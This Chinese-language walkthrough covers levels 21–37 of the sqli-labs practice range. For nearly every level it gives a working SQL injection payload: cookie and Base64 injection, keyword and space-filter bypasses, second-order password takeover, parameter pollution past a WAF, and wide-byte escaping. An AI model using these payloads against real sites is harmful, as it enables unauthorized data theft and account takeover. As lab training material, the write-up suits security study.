sqli-labs靶场实录(二): Advanced Injections
sqli-labs靶场实录: Advanced Injections
- Less21
- Less22
- Less23
- 探测注入点
- Less24
- Less25
- 联合注入
- 使用符号替代
- Less25a
- Less26
- 逻辑符号绕过and/or过滤
- 双写and/or绕过
- Less26a
- Less27
- Less27a
- Less28
- Less28a
- Less29
- Less30
- Less31
- Less32(宽字节注入)
- Less33
- Less34
- Less35
- Less36
- Less37
- 免责声明:
Less21
先登录看看
在这可以看到这一关和第20关几乎一样
都是在页面回显了Cookie
故还是HTTP
头注入
仔细观察可以发现
这里面Cookie
的Uname
参数不再是admin
但是这个形式很像Base64
编码的格式
猜测网站对uname
参数进行了Base64
编码
我们通过编码工具尝试破译
确实基于Base64
解码得到了原本的值admin
因此
在Cookie
测试注入时我们需要将payload
使用Base64
编码一下
Payload
如下
构造:')and updatexml(1,concat(1,database()),1)#
编码后得到
JylhbmQgdXBkYXRleG1sKDEsY29uY2F0KDEsZGF0YWJhc2UoKSksMSkj
使用这串payload
抓包改包测试一下
成功爆出库名
Less22
本关和上一关略有不同
上一关使用的Payload
需要闭合的是单引号
这一关则需要闭合双引号
其他的Base64
编码测试思路不变
构造" and updatexml(1,concat(1,database()),1)#
编码payload
IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDEsZGF0YWJhc2UoKSksMSkj
抓包改包注入爆库
Less23
这一关又回到原始的URL传参了
故我们使用之前的测试手法
探测注入点
构造?id='
测试
数据库报错
说明存在注入
尝试闭合
构造?id='--+
发现闭合不了
查看一下源码
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
留意到网站对注释符号--
和#
进行了过滤
故我们要使用' or '1'='1
手动的闭合原查询语句后的单引号
原查询语句为
SELECT * FROM users WHERE id='$input' LIMIT 0,1;
构造1' or '1'='1
后
查询语句为
SELECT * FROM users WHERE id='1' or '1'='1' LIMIT 0,1;
基于此我们构造id=-1' union select 1,database(),3 or '1' = '1
成功注入爆库
Less24
二次注入原理
用户输入被存储到数据库(如注册、留言等),后续操作(如修改密码)中从数据库读取该数据并拼接成SQL语句,导致注入。
例如:注册时插入恶意用户名
payload
,修改密码时触发对应用户名的SQL逻辑。
这一关我们看到多出了许多功能点
有忘记密码,新用户注册,用户登录
而我们登录一个正常账户进去后发现还有个修改密码的功能
因为修改密码
用户注册等功能均涉及sql
数据库的更新
故先猜测这里能不能利用注册用户名这个功能点去二次注入修改他人的密码
先注册一个正常的用户看看
此时账户密码为:test01/123
查看源码可知
后端修改密码时涉及的sql语句如下:
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
故在注册时构造恶意输入test01'#
/666
然后登录进去修改密码
这里返回登录页面
可以看到之前test01/123
账户的密码已经被修改不可用了
使用刚刚通过注入修改的test01/666
登录才可以
Less25
这一关网站贴脸开大
明摆着告诉我们输入 OR
或 AND
时会被过滤替换为空
故使用报错注入的方话会遇到困难
则我们可以尝试如下的方法
联合注入
构造
?id=-1' union select 1,database(),version()--+
成功爆库
使用符号替代
既然or
和and
被过滤
我们可以使用对应的逻辑符号||
和&&
绕过
构造1'|| updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
成功爆库
Less25a
这一关和上一关的区别在于不需要使用单引号闭合了
故构造payload
-1 union select 1,database(),version()--+
爆库成功
Less26
这一关可以看到
网站对空格和注释符等符号都进行了统一过滤
查看源码可知确有其事
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
基于此我们使用如下方法进行注入
逻辑符号绕过and/or过滤
由于注释符号被过滤
我们需要使用or '1'='1
手动闭合单引号
构造?id=1'||updatexml(1,concat(0x7e,(database()),0x7e),1)||'1'='1
成功爆库
双写and/or绕过
构造?id=1' aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) aandnd '1'='1
成功爆库
Less26a
这个一关和上一个的区别在于这里需要闭合的符号为')
那么这一关就用不了报错注入了
我们尝试联合注入
基于网站对空格过滤的规则
我们采用%a0
编码空格进行绕过
构造0')%a0union%a0select%a01,database(),2||('1
成功爆库
Less27
这一关我们可以看到网站对Union
和Select
符号进行了过滤
意图阻止我们使用联合注入进行测试
查看一下源码
发现还有如下的字符被过滤了
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
故基于此我们可以使用报错注入构造如下payload
1'and%a0updatexml(1,concat(1,(select%a0database())),1)and'
也可以使用联合注入搭配大小写混合的方法
构造0%27%20%0a%20UniON%20%0aSELEct%0a1,database(),3%0a%20and%20%271%27=%271
可以看到都能成功爆库
Less27a
这一关和上一关的区别在于闭合符号不同
本关需要使用双引号"
进行闭合
故构造0%22%20%0A%20UniON%20%0ASELEct%0A1%2Cdatabase%28%29%2C3%0A%20and%20%221%22%3D%221
成功爆库
Less28
源码如下
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
本关卡审计源码可知
网站使用正则过滤了常用的注释符号和union+select
的组合
并且sql
查询语句如下
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
判断这里的闭合方式是')
的组合
又因为注释符不可用
故利用('1')=('1
进行手动闭合
保持源语句的完整性
接下来针对对正则过滤和空格过滤的规则
我们可以进行双写union
和select
绕过和编码空格绕过
最后我们可以构造如下payload
?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),version()%0Aand%0A('1')=('1
成功爆库
Less28a
本关只正则过滤了union+select
组合
相较上一关难度降低了
故构造相同payload
即可爆库
?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),version()%0Aand%0A('1')=('1
Less29
本关看样子存在防火墙
那么我们尝试可进行绕过
审计源码可知
本关卡前端存在
WAF
(Web应用防火墙)
后端采用双服务器架构(Apache+Tomcat
)
这种架构可能导致参数解析差异
可利用HTTP
参数污染(HPP
)绕过WAF检测
也就是我们可以传入两个参数 一个是正常参数用于欺骗防火墙 一个是恶意参数用于进行注入
故判断闭合方式为'
单引号闭合后
构造?id=1&id=0' union select 1,database(),3--+
爆库成功
Less30
这一关仅在闭合方式上区别上一关
其采用双引号"
闭合
故沿用上一关参数污染的方式修改payload
为?id=1&id=0" union select 1,database(),3--+
成功爆库
Less31
本关继续沿用参数污染的手法
根据闭合符号为")
修改payload
为?id=1&id=0") union select 1,database(),3--+
成功爆库
Less32(宽字节注入)
这一关我们在进行常规测试时发现
网站对我们的单引号进行了转义处理
可以看到通过反斜杠\
让单引号失去本身的语义功能
故我们想要注入的话
就必须除掉这个\
由于数据库采用的GBK
编码
我们可以使用宽字节注入
在参数传递处加上%df
绑定这个\
后
得到了一个宽字符運
从而使得单引号成功逃逸
基于此我们构造?id=-1%df' union select 1,2,database()--+
成功爆库
Less33
本关使用上一关的payload
即可成功注入
单纯传参方式不一样
?id=-1%df' union select 1,2,database()--+
成功爆库
Less34
这一关使用登录框通过post
传参
但是仍旧可以使用宽字节注入
bp抓包对Username
参数进行注入即可
构造-1%df' union select 1,database()#
成功注入出库名
Less35
这一关使用基础的联合注入即可爆出库名
构造?id=-1 union select 1,2,database()--+
成功爆库
Less36
这一关过滤字符的函数换成了mysql_real_escape_string
但是沿用32关的payload
采用宽字节注入即可绕过
构造?id=-1%df' union select 1,2,database()--+
成功爆库
Less37
这一关和34关测试手法和payload
完全一致
抓包在Username
参数注入即可
构造-1%df' union select 1,database()#
成功爆库
免责声明:
本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。